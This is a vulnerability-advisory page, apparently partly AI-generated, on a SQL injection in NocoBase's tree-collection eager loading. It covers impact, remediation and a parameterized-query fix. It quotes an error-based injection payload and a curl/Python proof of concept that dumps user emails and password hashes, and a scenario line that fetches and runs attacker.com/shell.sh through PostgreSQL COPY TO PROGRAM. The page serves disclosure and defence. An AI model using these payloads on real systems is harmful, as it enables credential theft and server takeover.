Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAuthenticate with low-privilege credentials
-
DeliveryCreate tree collection record with SQL injection payload in string PK field
-
ExploitTrigger recursive eager loading via API request with appends parameter
-
InstallInjected UNION ALL executes attacker subquery in CTE
-
C2Database error message returns exfiltrated data
-
ExecuteIterate extraction to dump credentials table
-
ImpactOffline password cracking or token reuse
-
Step 8Privilege escalation to administrator
-
Step 9(PostgreSQL only) Execute OS commands via COPY TO PROGRAM
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Parameterized queries, prepared statements
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Persistence The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires four specific conditions: (1) The NocoBase instance must have at least one collection configured with tree structure using the adjacency list pattern (tree:'adjacencyList' in collection definition). (2) That tree collection must use string-type primary keys rather than auto-increment integers (primaryKey:true combined with type:'string' in field definition) - this is NOT the default configuration but is common in scenarios requiring human-readable IDs or hierarchical naming schemes. (3) The attacker must possess valid authentication credentials with record-creation permission (POST to /api/{collection}:create endpoint) on the vulnerable tree collection - any standard user role with write access suffices, not limited to administrators. (4) A request must trigger recursive eager loading on the collection (via appends[]=parent(recursively=true) query parameter or programmatic association loading) - this occurs naturally in tree navigation UIs, organizational charts, category browsers, and administrative interfaces. The CVSS AC:H (high complexity) rating reflects condition #2 (non-default PK type), but once that configuration exists, exploitation is trivial. Database platform matters for impact severity: PostgreSQL enables error-based exfiltration and potential RCE via COPY...TO PROGRAM; MySQL and SQLite allow blind extraction via timing attacks but lack the PROGRAM execution vector. Default NocoBase installations using integer PKs are NOT vulnerable via this code path. |
| Impact | This represents a critical real-world risk despite the 7.5 CVSS score. The CVSS vector (AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H) indicates network-exploitable with high complexity and low privilege requirements - the AC:H (high complexity) likely reflects the precondition that string-type primary keys must be configured, which is not default but common in hierarchical/tree data models. The PR:L (low privilege) rating is accurate: any authenticated user with record-creation permission can exploit this, not just administrators. Real-world risk factors elevate this beyond the base score: (1) The PoC demonstrates trivial exploitation with confirmed credential extraction from production-like environments (PostgreSQL 16.13 + NocoBase 2.0.32). (2) The error-based extraction technique bypasses typical WAF protections since responses appear as legitimate database errors. (3) The blast radius extends beyond the primary vulnerability - the description notes identical concatenation patterns in plugin-field-sort, indicating systemic unsafe coding practices. (4) For PostgreSQL deployments with superuser database accounts (common in containerized/development environments), this escalates to remote code execution via COPY...TO PROGRAM. (5) Patch available from vendor (GitHub PR #9133, commit 202e2b8e) provides both detection and remediation paths, but requires upgrading the core database package. No EPSS score or KEV status provided, but the detailed PoC with working exploit code significantly lowers the bar for weaponization. Organizations using NocoBase with tree collections and string PKs should treat this as emergency-priority. |
| Exploit ScenarioDerived | An authenticated attacker with basic member privileges creates a tree collection record (e.g., organizational hierarchy, category tree, or file system structure) with a malicious primary key value: root') UNION ALL SELECT CAST((SELECT password FROM users LIMIT 1) AS integer)::text, NULL WHERE ('1'='1. When any user or automated process triggers a list/get request with recursive parent loading (appends[]=parent(recursively=true)), NocoBase's eager-loading mechanism constructs a recursive CTE query incorporating the malicious ID. The injected UNION ALL clause executes the attacker's subquery, and the CAST-to-integer type mismatch forces PostgreSQL to return the extracted password hash in the error message visible to the attacker. The attacker iterates this technique to dump the entire users table (emails, password hashes, API tokens), then uses offline cracking or lateral movement to compromise administrator accounts. In PostgreSQL environments where the NocoBase database user has superuser or COPY privileges, the attacker escalates to OS command execution via COPY (SELECT '') TO PROGRAM 'bash -c "curl attacker.com/shell.sh|bash"', achieving full server compromise. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 23, 2026
SQL injection in NocoBase's @nocobase/database package allows authenticated users with record-creation privileges to execute arbitrary SQL queries and extract database credentials. The vulnerability exists in the queryParentSQL() function, which constructs recursive Common Table Expression (CTE) queries using string concatenation instead of parameterized queries when processing tree collections with string primary keys. An attacker can inject malicious SQL by creating records with crafted primary key values, triggering the vulnerability when recursive eager loading occurs. Successful exploitation leads to full database compromise, with confirmed extraction of administrator credentials (emails and password hashes) in testing against PostgreSQL. On databases where the service account has elevated privileges, attackers can achieve operating system command execution via PostgreSQL's COPY...TO PROGRAM feature. Vendor patch available via GitHub PR #9133.
RemediationAI
Upgrade to the patched version of NocoBase that includes commit 202e2b8efe44ba90adbf1087f6f70881ff947604 from GitHub PR #9133 (https://github.com/nocobase/nocobase/pull/9133). The patch replaces string concatenation with parameterized queries using Sequelize bind parameters. If immediate upgrade is not feasible, apply these compensating controls with noted trade-offs: (1) Restrict record-creation permissions on all tree collections to only highly trusted users - reduces attack surface but limits application functionality for collaborative workflows. (2) Convert string-type primary keys to integer/UUID auto-generated types on tree collections - prevents injection but requires data migration and may break existing application logic expecting human-readable IDs. (3) Deploy database-level restrictions: revoke superuser privileges from the NocoBase service account, use read-only replicas for query operations where possible, and enable PostgreSQL query logging to detect injection attempts - reduces blast radius from RCE to data exfiltration only but adds operational overhead and does not eliminate the core vulnerability. (4) Implement Web Application Firewall (WAF) rules to block SQL metacharacters (single quotes, UNION, SELECT keywords) in POST/PUT request bodies to tree collection endpoints - high false-positive risk since legitimate tree node titles may contain these characters. Verify the fix addresses both eager-loading-tree.ts and plugin-field-sort/src/server/sort-field.ts as both contain the vulnerable pattern. Full advisory and patch details at GitHub security advisory GHSA-4948-f92q-f432.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in npm, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability resides in NocoBase's Object-Relational Mapping (ORM) layer, specifically in the eager-loading implementation for tree-structured data using the adjacency list pattern. NocoBase uses Sequelize ORM on top of PostgreSQL, MySQL, or SQLite. The queryParentSQL() function generates a WITH RECURSIVE query to traverse parent-child relationships in tree collections. Instead of using Sequelize's bind parameter mechanism, it directly concatenates nodeIds array values into the SQL string using JavaScript template literals and join(): WHERE ${q(targetKeyField)} IN ('${nodeIds.join("','")}'). The nodeIds array contains primary key values read from database rows during eager loading traversal. When a collection uses string-type primary keys (rather than auto-increment integers), an attacker-controlled string from a previously created record flows unsanitized into this concatenation point. The affected CPE pkg:npm/@nocobase_database indicates this is a Node.js package vulnerability affecting the core database abstraction layer. CWE-89 (SQL Injection) classification confirms the root cause: improper neutralization of special SQL characters in string inputs.
Know when PostgreSQL gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
Lifecycle Timeline
3DescriptionGitHub Advisory
Summary
The queryParentSQL() function in the core database package constructs a recursive CTE query by joining nodeIds with string concatenation instead of using parameterized queries. The nodeIds array contains primary key values read from database rows. An attacker who can create a record with a malicious string primary key can inject arbitrary SQL when any subsequent request triggers recursive eager loading on that collection.
Affected component: @nocobase/database (core) Affected versions: <= 2.0.32 (confirmed) Minimum privilege: Any user with record-creation permission on a tree collection with string-type primary keys
Vulnerable Code
packages/core/database/src/eager-loading/eager-loading-tree.ts:59-84
const queryParentSQL = (options: {
db: Database;
nodeIds: any[];
collection: Collection;
foreignKey: string;
targetKey: string;
}) => {
const { collection, db, nodeIds } = options;
const tableName = collection.quotedTableName();
const { foreignKey, targetKey } = options;
const foreignKeyField = collection.model.rawAttributes[foreignKey].field;
const targetKeyField = collection.model.rawAttributes[targetKey].field;
const queryInterface = db.sequelize.getQueryInterface();
const q = queryInterface.quoteIdentifier.bind(queryInterface);
return `WITH RECURSIVE cte AS (
SELECT ${q(targetKeyField)}, ${q(foreignKeyField)}
FROM ${tableName}
WHERE ${q(targetKeyField)} IN ('${nodeIds.join("','")}') // <-- INJECTION
UNION ALL
SELECT t.${q(targetKeyField)}, t.${q(foreignKeyField)}
FROM ${tableName} AS t
INNER JOIN cte ON t.${q(targetKeyField)} = cte.${q(foreignKeyField)}
)
SELECT ${q(targetKeyField)} AS ${q(targetKey)}, ${q(foreignKeyField)} AS ${q(foreignKey)} FROM cte`;
};This function is called at line 384 when a BelongsTo association has recursively: true and instances exist:
// eager-loading-tree.ts:382-395
if (node.includeOption.recursively && instances.length > 0) {
const targetKey = association.targetKey;
const sql = queryParentSQL({
db: this.db, collection, foreignKey, targetKey,
nodeIds: instances.map((instance) => instance.get(targetKey)), // from DB rows
});
const results = await this.db.sequelize.query(sql, { type: 'SELECT', transaction });
}PoC
The payload keeps the CTE syntactically valid by injecting a third UNION ALL branch. The closing ') from the original template literal completes the injected WHERE clause, and the remaining UNION ALL ... INNER JOIN ... SELECT ... FROM cte lines stay intact.
Injection ID value:
root') UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE ('1'='1
Generated SQL (3 valid UNION ALL branches):
WITH RECURSIVE cte AS (
SELECT "id", "parentId" FROM "table"
WHERE "id" IN ('root','root') UNION ALL SELECT CAST((...) AS integer)::text, NULL::text WHERE ('1'='1')
UNION ALL
SELECT t."id", t."parentId" FROM "table" AS t INNER JOIN cte ON t."id" = cte."parentId"
) SELECT "id" AS "id", "parentId" AS "parentId" FROM cte
The CAST-to-integer triggers a runtime error whose message contains the subquery result.TOKEN="<jwt_token>"
# 1. Create tree collection with string PKs
curl -s http://TARGET:13000/api/collections:create \
-H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
-d '{"name":"vuln_tree","tree":"adjacencyList","fields":[
{"name":"id","type":"string","primaryKey":true,"interface":"input"},
{"name":"title","type":"string","interface":"input"},
{"name":"parent","type":"belongsTo","target":"vuln_tree","foreignKey":"parentId","targetKey":"id","treeParent":true},
{"name":"children","type":"hasMany","target":"vuln_tree","foreignKey":"parentId","sourceKey":"id","treeChildren":true}
]}'
# 2. Create safe root
curl -s http://TARGET:13000/api/vuln_tree:create \
-H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
-d '{"id":"root","title":"Root"}'
# 3. Create injection parent - error-based extraction of admin email
python3 -c "
import requests, json
headers = {'Authorization': 'Bearer $TOKEN', 'Content-Type': 'application/json'}
payload_id = \"root') UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE ('1'='1\"
requests.post('http://TARGET:13000/api/vuln_tree:create', headers=headers,
json={'id': payload_id, 'title': 'x'})
requests.post('http://TARGET:13000/api/vuln_tree:create', headers=headers,
json={'id': 'child', 'title': 'c', 'parentId': payload_id})
r = requests.get('http://TARGET:13000/api/vuln_tree:list', headers=headers,
params={'appends[]': 'parent(recursively=true)', 'pageSize': '100'})
print(json.dumps(r.json(), indent=2))
"
# Returns: 500 {"errors":[{"message":"invalid input syntax for type integer: \"admin@nocobase.com\""}]}
# ^^^^^^^^^^^^^^^^^^^^^^^
# Exfiltrated data in error messageConfirmed extractions (tested against NocoBase v2.0.32 + PostgreSQL 16.13):
| Subquery | Extracted Value |
|---|---|
SELECT version() | PostgreSQL 16.13 (Debian 16.13-1.pgdg13+1) on aarch64-unknown-linux-gnu... |
SELECT current_database() | nocobase |
SELECT email FROM users ORDER BY id LIMIT 1 | admin@nocobase.com |
SELECT password FROM users ORDER BY id LIMIT 1 | 006af6756e9660888c44ab311fe992341af0ecab4aaf13e48c8d0001948acc38 |
| `SELECT string_agg(email\ | \ |
Impact
- Confidentiality: Error-based extraction of any database value. Full credential dump confirmed (emails + password hashes).
- Integrity: Depending on database user privileges, INSERT/UPDATE/DELETE through stacked queries.
- Availability: Resource-exhaustive queries or destructive DDL.
- Scope change: On PostgreSQL with superuser,
COPY ... TO PROGRAMachieves OS command execution. - Blast radius: Affects all collections using tree/adjacency-list structure with string-type primary keys. The same concatenation pattern also exists in
plugin-field-sort/src/server/sort-field.ts:124.
Fix Suggestion
- Use parameterized queries. Replace the string concatenation with bind parameters:
const placeholders = nodeIds.map((_, i) => `$${i + 1}`).join(',');
const sql = `WITH RECURSIVE cte AS (
SELECT ${q(targetKeyField)}, ${q(foreignKeyField)}
FROM ${tableName}
WHERE ${q(targetKeyField)} IN (${placeholders})
UNION ALL
...
) SELECT ... FROM cte`;
return { sql, bind: nodeIds };Then call db.sequelize.query(sql, { type: 'SELECT', bind: nodeIds, transaction }).
- Apply the same fix to
plugin-field-sort/src/server/sort-field.ts:124, which has an identical concatenation pattern withfilteredScopeValue. - Validate primary key values at record creation time. Reject or escape values containing SQL metacharacters (
',",;,--) in string-type primary key fields.
Executive ViewAI
NocoBase's @nocobase/database package contains a SQL injection vulnerability in recursive query handling that allows authenticated users with record-creation privileges to extract database credentials and potentially execute operating system commands. Organizations using NocoBase for data management face immediate risk of database compromise and credential exposure if the vulnerability is exploited by insiders or compromised user accounts with creation privileges.
Apply vendor patch. Interim mitigations pending patch deployment: (1) Restrict record-creation privileges to trusted users only and audit all accounts with this permission; (2) Implement database firewall rules to block unusual SQL patterns or recursive queries; (3) Disable PostgreSQL COPY...TO PROGRAM feature and remove OS execution privileges from the NocoBase service account; (4) Monitor database logs for SQL injection indicators (multi-statement queries, UNION operations, or comment sequences in user-supplied data); (5) Isolate NocoBase database from network access outside required application channels.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
SQL injection exploits the way applications construct database queries by mixing user input directly into SQL statements.
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
More in PostgreSQL
View allPostgreSQL libpq functions PQescapeLiteral(), PQescapeIdentifier(), PQescapeString(), and PQescapeStringConn() improperl
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
Argument injection vulnerability in PostgreSQL 9.2.x before 9.2.4, 9.1.x before 9.1.9, and 9.0.x before 9.0.13 allows re
Unauthenticated arbitrary file write in Splunk Enterprise (below 10.2.4 and 10.0.7) and Splunk Cloud Platform (below 10.
Unauthenticated SQL injection in Sangoma Switchvox SMB Edition 8.3 (build 104997) lets remote attackers execute arbitrar
PostgreSQL versions before 9.2.22, 9.3.18, 9.4.13, 9.5.8 and 9.6.4 are vulnerable to incorrect authentication flaw allow
The build_tablename function in pgsql.c in the PostgreSQL (aka pgsql) extension in PHP through 5.6.7 does not validate t
A vulnerability in the h2oai/h2o-3 REST API versions 3.46.0.4 allows unauthenticated remote attackers to execute arbitra
In PostgreSQL 9.3 through 11.2, the "COPY TO/FROM PROGRAM" function allows superusers and users in the 'pg_execute_serve
Unauthenticated SQL injection in Vendure Shop API allows remote attackers to execute arbitrary SQL commands against the
Parse Server is an open source http web server backend. Rated critical severity (CVSS 10.0), this vulnerability is remot
Hard-coded default PostgreSQL credentials shipped in the docker-compose.yaml of langgenius Dify through version 1.5.1 al
EUVD-2026-28261
GHSA-4948-f92q-f432
NVD
CVE.org
EPSS
Exploit-DB